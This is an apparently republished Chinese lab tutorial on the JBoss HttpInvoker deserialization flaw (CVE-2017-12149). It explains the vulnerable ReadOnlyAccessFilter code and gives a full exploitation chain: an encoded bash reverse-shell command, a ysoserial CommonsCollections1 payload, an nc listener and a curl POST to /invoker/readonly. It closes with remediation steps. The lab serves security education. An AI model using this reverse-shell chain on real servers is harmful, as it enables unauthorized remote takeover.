动手实验JBoss 反序列化漏洞

Posted i春秋

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了动手实验JBoss 反序列化漏洞相关的知识,希望对你有一定的参考价值。


JBOSS:是一个基于J2EE的开放源代码的应用服务器。 JBoss代码遵循LGPL许可,可以在任何商业应用中免费使用。JBoss是一个管理EJB的容器和服务器,支持EJB 1.1、EJB 2.0和EJB3的规范。但JBoss核心服务不包括支持servlet/JSP的WEB容器,一般与Tomcat或Jetty绑定使用。


2017年8月30日,JBoss厂商发布了一个JBOSSAS 5.x的反序列化远程代码执行漏洞(CVE-2017-12149)的通告。该漏洞位于JBoss的Httplnvoker组件中的的ReadOnlyAccessFilter过滤器中,其doFilter方法在没有进行任何安全检查和限制的情况下尝试将来自客户端的序列化数据流进行反序列化,导致恶意访问者通过精心设计的序列化数据执行任意恶意代码,但近期有安全研究者发现JBossAS 6.x也受到该漏洞影响,恶意访问者利用该漏洞无需用户验证即可获得服务器的控制权。

【动手实验】JBoss 反序列化漏洞

当然该漏洞的细节和验证代码已公开,为避免造成损失,建议及时修复升级至JBossAS 7版本。


今天让小爱带着大家复现漏洞场景,分析漏洞成因吧~

【动手实验】JBoss 反序列化漏洞

实验环境

操作机:kali linux 64位

操作机IP:172.16.11.2

目标机网站:http://172.16.12.2:8080/

请访问http://file.ichunqiu.com/5tt6uhtg/

本实验仅做安全漏洞研究,请勿对未授权网站进行恶意破坏


实验目的

了解Java序列化与反序列化的作用

理解漏洞产生的原因

学习命令的编码方式

学会反序列化工具的使用

清楚反序列化漏洞的防御


实验工具

ysoserial:是一款拥有多种不同利用库的Java反序列化漏洞payload生成工具,能方便的生成命令执行Payload并序列化。本实验主要使用生成Payload功能


实验内容

Java序列化与反序列化

Java序列化:把Java对象转换为字节序列的过程

Java反序列化:指把字节序列恢复为Java对象的过程

作用:便于保存数据,或者进行数据传输

【动手实验】JBoss 反序列化漏洞

如图所示,Java序列化文件文件头对于序列化的标识:

【动手实验】JBoss 反序列化漏洞

常用Java序列化与反序列化的方法:

序列化FileOutputStream fos = new FileOutputStream(file);ObjectOutputStream oos = new ObjectOutputStream(fos);oos.writeObject(st);反序列化FileInputStream fis = new FileInputStream(file);ObjectInputStream ois = new ObjectInputStream(fis);Student st1 = (Student) ois.readObject();

JBoss反序列化漏洞分析

漏洞出现在 Jboss 的 HttpInvoker组件中的 ReadOnlyAccessFilter 过滤器中,源码在jbossserveralldeployhttpha-invoker.sarinvoker.warWEB-INFclassesorgjbossinvocationhttpservlet目录下的ReadOnlyAccessFilter.class文件中,其中doFilter函数代码如下:

public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)    throws IOException, ServletException  {    HttpServletRequest httpRequest = (HttpServletRequest)request;    Principal user = httpRequest.getUserPrincipal();    if ((user == null) && (this.readOnlyContext != null))    {      ServletInputStream sis = request.getInputStream();      ObjectInputStream ois = new ObjectInputStream(sis);      MarshalledInvocation mi = null;      try      {        mi = (MarshalledInvocation)ois.readObject();      }      catch (ClassNotFoundException e)      {        throw new ServletException("Failed to read MarshalledInvocation", e);      }      request.setAttribute("MarshalledInvocation", mi);      mi.setMethodMap(this.namingMethodMap);      Method m = mi.getMethod();      if (m != null) {        validateAccess(m, mi);      }    }    chain.doFilter(request, response);  }

可以看到其直接从http中获取数据,在没有进行检查或者过滤的情况下,尝试调用readobject()方法对数据流进行反序列操作,因此产生了Java反序列化漏洞。


影响版本

*   Jboss AS 5.x 

*   JbossAS 6.x


实验步骤

打开桌面Kali终端,使用命令:firefox http://file.ichunqiu.com/5tt6uhtg/访问并下载实验文件,解压至桌面备用。

在浏览器打开http://172.16.12.2:8080,访问JBoss默认页面

【动手实验】JBoss 反序列化漏洞

我们再来访问此次反序列化的漏洞页面:http://172.16.12.2:8080/invoker/readonly

【动手实验】JBoss 反序列化漏洞

由上述反序列化方法可知,此处服务器将用户提交的POST内容进行了Java反序列化

接下来,我们使用常规Java反序列化来验证漏洞


步骤 2:漏洞验证

本步骤我们使用工具ysoserial来生成序列化数据,构造POC,使用bash反弹Shell,nc接受反弹回来的Shell

编码待执行的命令

由于工具ysoserial 在处理数据时使用了Runtime.getRuntime().exec(String cmd),会调用Runtime.getRuntime().exec(String command, String[] envp, File dir),数据会被StringTokenizer分割,源码如下:

/**     * Constructs a string tokenizer for the specified string. The     * tokenizer uses the default delimiter set, which is     * <code>"&nbsp;&#92;t&#92;n&#92;r&#92;f"</code>: the space character,     * the tab character, the newline character, the carriage-return character,     * and the form-feed character. Delimiter characters themselves will     * not be treated as tokens.     *     * @param   str   a string to be parsed.     * @exception NullPointerException if str is <CODE>null</CODE>     */    public StringTokenizer(String str) {        this(str, " f", false);    }

从StringTokenizer的部分注释和源码和可以看到,StringTokenizer会对 f进行分割,因此我们输入的以下命令

bash -c `bash -i >& /dev/tcp/127.0.0.1/21 0>&1`

会被分隔如下命令

bash-c`bash-i>&...

导致命令无法执行,因此我们需要先将待执行的命令进行一次编码。

在线网络打开http://jackson.thuraisamy.me/runtime-exec-payloads.html,勾选Bash,在第一个文本框内输入bash -i >& /dev/tcp/172.16.12.2/6666 0>&1,下面的文档框会得到对应编码后的代码,复制备用。

实验环境内的实验文件poc.txt存储有编码后的代码

【动手实验】JBoss 反序列化漏洞

Linux下的${IFS}也可进行编码,${IFS}的hex值是0x20 0x09 0x0a,因此不被分割,可以利用在写shell时的命令中。需要注意是,${IFS}编码后的命令中有空格,重定时,文件名中有空格会造成命令解析不完整,写入文件会失败。而在反弹shell命令中,就会导致模糊的重定向错误,所以此处仅作为扩展内容补充说明

【动手实验】JBoss 反序列化漏洞

构造生成Payload

ysoserial的用法如下

java -jar ysoserial.jar [payload] '[command]'

[payload] : 利用库,根据服务器端程序版本不同而不同,若如报错,可尝试跟换其他利用库

[command] : 待执行的命令

本次实验选择CommonsCollections1利用库

在实验文件目录下,打开终端,执行如下命令

java  -jar  ysoserial.jar  CommonsCollections1 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTYuMTEuMi82NjY2IDA+JjE=}|{base64,-d}|{bash,-i}" > poc.ser

最终输出POC文件 poc.ser

【动手实验】JBoss 反序列化漏洞

设置nc本地监听端口6666

重新打开一个终端,执行如下命令:

nc -l -p 6666

【动手实验】JBoss 反序列化漏洞

发送请求,获取Shell

服务器接收到以POST的方式发送的序列化数据,会进行反序列化,执行其中包含的命令,将Shell反弹至Kali机器的6666端口

我们使用curl命令发送请求,打开命令行,执行如下代码:

curl http://172.16.12.2:8080/invoker/readonly --data-binary @poc.ser

Shell弹回至nc监听的端口

【动手实验】JBoss 反序列化漏洞

可在Shell中执行相关命令

【动手实验】JBoss 反序列化漏洞

本实验仅做安全漏洞研究,请勿对未授权网站进行恶意破坏


实验结果分析与总结

对于一个使用了可利用库的Java应用,可以通过审计查找其中的反序列化方法readobject()或者交互式查看流量,寻找是否有序号化数据流(以ac ed 00 05)来查找其输入点,再看有没有进行检查或过滤,最后利用工具ysoserial验证是否存在反序列化漏洞。


修复建议

不需要 http-invoker.sar 组件的用户可直接删除此组件。

添加如下代码至 http-invoker.sar下 web.xml 的 security-constraint 标签中,对 http invoker 组件进行访问控制:

<url-pattern>/*</url-pattern>


看完今天的实验流程,大家有木有小小的心动呢?



戳阅读原文,开始试验吧~


以上是关于动手实验JBoss 反序列化漏洞的主要内容,如果未能解决你的问题,请参考以下文章

Jboss反序列化漏洞复现(CVE-2017-12149)

每日安全资讯通过JBoss反序列化(CVE-2017-12149)浅谈Java反序列化漏洞

玩转漏洞JBOSS反序列化漏洞探索

漏洞预警JBoss再次曝出反序列化高危漏洞(CVE-2017-12149)

JBoss反序列化漏洞(CVE-2017-12149)分析

Jboss反序列化漏洞复现(CVE-2017-12149)